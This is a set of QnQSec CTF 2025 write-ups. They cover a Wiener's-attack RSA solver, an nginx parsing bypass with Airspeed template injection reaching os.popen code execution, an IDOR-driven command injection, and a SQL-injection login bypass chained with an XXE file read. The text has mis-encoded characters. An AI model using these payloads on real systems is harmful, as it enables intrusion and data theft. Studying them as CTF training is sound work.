Mandatory RSA - QnQSec CTF 2025 Writeup
Β

π Challenge Description
We are given RSA parameters:
- (n): a large modulus
- (e): a large public exponent
- (c): the ciphertext
The hint explicitly references βSize of the Dβ, which points to a small private exponent attack (Wienerβs attack).
π Analysis
- In RSA, the private exponent (d) satisfies (ed \equiv 1 \pmod{\varphi(n)}).
- Normally, (d) is large, but if (d < \tfrac{1}{3} n^{0.25}), Wienerβs attack can recover it efficiently.
- The attack uses continued fractions of (e/n) to find convergents that approximate (k/d), where (ed - 1 = k\varphi(n)).
- Once (d) is recovered, decryption is straightforward: (m = c^d \bmod n).
π οΈ Exploit Steps
- Parse the given (n, e, c).
- Run Wienerβs attack to recover (d).
- Decrypt the ciphertext: (m = c^d \bmod n).
- Convert the integer (m) back into bytes to reveal the flag.
β Solver Script
import math n = 30610867131545893573245403370929044810375908252345734515216335567761070674235240557970829245356614030481955825874376565524126172250295479286829004996105122106474627414932278394880727207687247106535964451736524423676062227917939094755601312619938974463767105253817030590414646900543888347805544511989816392901347341338737906837896070023751031260815782973250734600300683094949304509692321753534435264794596296780586539085130232106649876660029506699244567866816756904364396378546670735017278059889632347338673055259053699246622809620909022329749464060132071464884484682112534813343645706384624586841979729464134335809829 e = 13118943056376811531390887158969590633018246393862457649378429529040458860386531667701783962295691727349409639660447099510339788107269491122926716426902195188489126034970976454948883089008820188515413336458510467289740954821973897752400562551402417627328759394493013110177705814518809291916661933709921311243284600780240090861401353930215487292827235572235250164436683130292475464090785626013810206032736933354696930489144983575446495078404329829091193678240029445525658582548485531996972340914370823232033916046942293331266006647674886928834212203547468218609381456317192256524737280398698305720035095438106008915543 c = 18491889164810617543569456750416875989184817880137548014973592642069416208831086398288449741333647958301433206462225905089767171227296166302076329585813204145393998300807912284373441125769784091235480355305999860836226228064817001671079683866140595167104080925862489688205706558563994071054217252661751197090938128540101902284587959897970686920835999487758527543265902558413502613239565915919268373782402562042295965144636399280059309987259722405692758942811072888497222424752062745376152606372092707679048892146955016482797824514120865462676167840311292744307891590740707933408465096337716317714272609074408402855672 def is_perfect_square(x): r = int(math.isqrt(x)) return r*r == x, r def continued_fraction(a, b): q = [] while b: q.append(a // b) a, b = b, a % b return q def convergents_from_cf(cf): num1, num2 = 1, cf[0] den1, den2 = 0, 1 yield (cf[0], 1) for k in cf[1:]: num = k*num2 + num1 den = k*den2 + den1 yield (num, den) num1, num2 = num2, num den1, den2 = den2, den def wiener_attack(e, n): cf = continued_fraction(e, n) for (k, d) in convergents_from_cf(cf): if k == 0: continue phi_num = e*d - 1 if phi_num % k != 0: continue phi = phi_num // k s = n - phi + 1 D = s*s - 4*n is_sq, r = is_perfect_square(D) if not is_sq: continue p = (s + r) // 2 q = (s - r) // 2 if p*q == n and p > 1 and q > 1: return d, p, q return None res = wiener_attack(e, n) if not res: print("Wiener attack failed.") else: d, p, q = res print("Recovered d:", d) m = pow(c, d, n) flag = m.to_bytes((m.bit_length() + 7)//8, 'big') print("Flag:", flag)
Extracting the Flag
python3 scrit.py Recovered d: 7 p: 176853761228816649333788690878497264575352920554026422800747793118095154357968009833476319896190458655552043866116312357447653436646759560106384864907006010692243358536106106723598497967140667505512294857262423906296888616636856340197073186078570666701722848610246170360171276865123307180185294714754610802029 q: 173085756948878178625788829036396979643547050814457793814341331148766605789187283002068464155352993630741657411008958073160401373772644204592064419349682187445616327397431720300744099788959758958414956292259257567371905493030763155605895732442741621427538435428840044425754108589205232981712545393799037538201 m (int): 44527464308547416606342426287453205148863219199832558621989309174233291105023302455449149746693874045 m (bytes): b'QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}'
Flag
QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}
AirSpeedQnQSec CTF 2025 Writeup
Author: Daryx
Date: November 1, 2025
Category: Web Security
Difficulty: Medium

Challenge Overview
This challenge provided us with a Flask web application setup including:
docker-compose.yml- Container orchestration
nginx.conf- Reverse proxy configuration
src/- Application source code
The goal is to find and read the flag from the server.
Initial Reconnaissance
Analyzing the Nginx Configuration
First thing I did was check out the
nginx.conf file. Found something interesting right away:location = /debug { deny all; return 403; }
The
/debug endpoint is blocked at the nginx level - trying to access it directly gives us a 403 Forbidden error.Source Code Review
Diving into the application code, I discovered several key points:
1. Flag Location
From the Dockerfile, I saw that
readflag.c is compiled and placed at /readflag in the container root. Running this binary will give us the flag.2. Template Engine
The app uses the
airspeed template engine (Python implementation of Apache Velocity).3. The Debug Endpoint
Here's the interesting part in
app.py:@app.route('/debug', methods=['POST']) def debug(): name = request.json.get('name', 'World') return airspeed.Template(f"Hello, {name}").merge({})
This endpoint takes a
name parameter from JSON and renders it in a template. The problem? User input is directly embedded into the template string!4. Debug Mode Enabled
if __name__ == '__main__': app.run(host='0.0.0.0', debug=True)
Flask is running with
debug=True, which could provide additional information if we encounter errors.Vulnerability Analysis
The Access Control Issue
Here's the situation:
- Nginx layer: Blocks
/debugendpoint β Returns 403
- Flask layer: Has no restrictions on
/debugβ Would process requests normally
If we can somehow bypass nginx while still reaching Flask, we're in business!
Finding the HTTP Parsing Discrepancy
I wrote a script (
solution/find_disrepency.py) to test various byte values and see if nginx and Flask handle them differently:$ python3 find_disrepency.py Bypass found with byte \\x85
Bingo! The byte
\\x85 creates a parsing discrepancy:- Nginx perspective:
/debug\\x85β/debugβ Allows the request through
- Flask perspective:
/debug\\x85=/debugβ Routes to the debug endpoint
Let me verify this works with a simple test (
solution/simple_manini_post.py):$ python3 simple_manini_post.py HTTP/1.1 200 OK Server: nginx/1.29.2 Date: Mon, 04 Nov 2025 20:14:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 13 Connection: close Hello, manini
Perfect! We successfully bypassed the nginx restriction. The name parameter is being reflected back to us.
Exploitation
Server-Side Template Injection (SSTI)
Since our input goes directly into the template, let's test for SSTI. I checked the Airspeed/Velocity documentation and crafted a test payload:
Payload:
#set( $foo = 7*7 )\\n$foo$ python3 simple_manini_post.py HTTP/1.1 200 OK Server: nginx/1.29.2 Date: Mon, 04 Nov 2025 20:14:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Hello, 49
Excellent! The expression
7*7 was evaluated to 49. We have confirmed SSTI vulnerability.Achieving Remote Code Execution
Now I need to escalate from SSTI to RCE to execute
/readflag. My approach:- Access Python's base object class
- Enumerate all subclasses
- Find a useful class for command execution
- Execute
/readflag
Enumeration payload:
#set($s='') #set($base=$s.__class__.__mro__[1]) #foreach($sub in $base.__subclasses__()) $foreach.index: $sub\\n #end
This lists all available subclasses with their indexes. After reviewing the output, I found
jinja2.utils.Cycler at index 479.Final Exploit
The
Cycler class gives us access to os.popen() through its __init__.__globals__ dictionary. Here's my final payload:{ "name": "#set($x='')\\n#set($cycler=$x.__class__.__mro__[1].__subclasses__()[479])\\n#set($init=$cycler.__init__)\\n#set($globals=$init.__globals__)\\n#set($os=$globals.os)\\n#set($popen=$os.popen('/readflag'))\\n$popen.read()" }
Breakdown:
#set($x='')- Create empty string object
$x.__class__.__mro__[1]- Access base object class
.__subclasses__()[479]- Get the Cycler class
.__init__.__globals__- Access global variables from Cycler's init
.os.popen('/readflag')- Execute the readflag binary
.read()- Read the output
Running the exploit:
$ python3 exploit.py HTTP/1.1 200 OK Server: nginx/1.29.2 Date: Mon, 04 Nov 2025 20:14:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 41 Connection: close Hello, QnQSec{n0w_th1s_1s_th3_r34l_f14g}
π Flag captured!
Key Takeaways
- HTTP Parsing Discrepancies: Different web servers and application frameworks may parse URLs differently, creating bypass opportunities
- Defense in Depth: Access controls should be implemented at multiple layers, not just the reverse proxy
- Template Injection Risks: Never directly embed user input into template strings without proper sanitization
- Python Introspection: Understanding Python's object model and introspection capabilities is crucial for exploiting SSTI vulnerabilities
Flag
QnQSec{n0w_th1s_1s_th3_r34l_f14g}
Easy Web - QnQSec CTF 2025 Writeup
Author: Daryx
Date: November 4, 2025
Category: Web Security
Difficulty: Easy

Challenge Overview
We're given access to a web application and a Dockerfile (
back) that shows how the challenge environment is set up. Time to hack!Reconnaissance
Analyzing the Dockerfile
First, I examined the provided
back file to understand the environment setup:RUN mkdir -p /app/.hidden && \\ mv /app/flag.txt /app/.hidden/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt && \\ chown -R nobody:nogroup /app
Key Findings:
- The flag is moved to
/app/.hidden/directory
- The filename is randomized:
flag-<32_random_alphanumeric_chars>.txt
- We can use wildcards to read it:
/app/.hidden/flag*
Exploring the Web Application
Visiting the challenge at
http://161.97.155.116:5000/:
I immediately noticed a
/profile endpoint with a uid parameter. Let's investigate!Testing Profile Endpoint
Request:
/profile?uid=1
The page displays:
- Username
- User role
Request:
/profile?uid=2 ββ> Not Found"User with uid 2 not found" - so not all UIDs exist. Interesting pattern here: we can enumerate users by changing the
uid parameter.Finding the Admin User
The Manual Approach (Not Recommended)
I could manually try different
uid values: 1, 3, 4, 5... but that's tedious and time-consuming.The Smart Approach - Automation (Python Or BurpSuite)
I wrote a Python script (
solution/search.py) to automate the enumeration:# Pseudocode concept: for uid in range(1, 10000): response = requests.get(f'/profile?uid={uid}') if 'admin' in response.text.lower(): print(f'Admin found with uid {uid}') break
Running the script:
$ python3 search.py Admin found with uid 1337
Nice! The admin user has UID 1337 (classic hacker reference π).
Accessing the Admin Profile
Request:
/profile?uid=1337
The page shows a link to an admin portal. Following it...
The Admin Portal

The admin portal has:
- An input field (default value:
whoami)
- Output showing:
nobody
This looks like command execution! The server is running the command and displaying the result.
Testing Command Injection
Let me try changing the command to
ls and submitting the form:Result: "Access denied"

Looking at the URL:
/admin?uid=2&cmd=lsWait...
uid=2? That's not the admin! When submitting the form, it changes my UID from 1337 to 2 (a regular user). The application checks the UID to determine access rights.Exploitation
Insecure Direct Object Reference (IDOR)
The vulnerability is clear:
- The admin portal checks if
uidhas admin privileges
- But the
uidparameter is client-controlled via the URL
- I can manually set
uid=1337to bypass the check!
Crafting the Exploit URL
To execute my command as admin:
- Set
uid=1337(the admin user)
- Set
cmd=cat /app/.hidden/flag*(read the flag with wildcard)
- URL-encode the space character:
%20
Final URL:
/admin?uid=1337&cmd=cat%20/app/.hidden/flag*Flag
Navigating to the exploit URL:
QnQSec{I_f0und_th1s_1day_wh3n_I_am_using_sch00l_0j}
π Got the flag!
s3cr3ct_w3b revenge - QnQSec CTF 2025 Writeup
Β

π Challenge Description
βI have hidden secret in this web can you find out the secret?β
We are given a small PHP web application with a login page and an XML viewer. The Dockerfile hints that a
flag.txt file is copied into the container.π Recon & Source Review
- Login (
login.php)
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
β Vulnerable to SQL Injection (no escaping, no prepared statements).
- API (
api.php)
$dom->resolveExternals = true; $dom->substituteEntities = true; $dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT); echo $dom->saveXML();
β Vulnerable to XXE (XML External Entity) injection.
- Dockerfile
COPY flag.txt /var/flags/flag.txt
β The flag is located at
/var/flags/flag.txt.πͺͺ Step 1 β Authentication Bypass
The login query is injectable. Using a simple payload in the username field:
' OR '1'='1' #
with any password, the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' # ' AND password = 'x'
This always returns a row, setting
$_SESSION['logged_in'] = true.β
We are now authenticated.
π¦ Step 2 β XXE Exploitation
The XML parser expands external entities. We can craft a malicious XML to read local files.
Minimal payload
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///var/flags/flag.txt"> ]> <root>&xxe;</root>
π΄ Step 3 β Extracting the Flag
Send a post request to /api with the xml content and u get the flag at response
QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}
β Conclusion
- Vulnerability 1: SQL Injection in login β session bypass.
- Vulnerability 2: XXE in XML parser β arbitrary file read.
- Flag Path:
/var/flags/flag.txt.
Β
Flag
QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}
Β
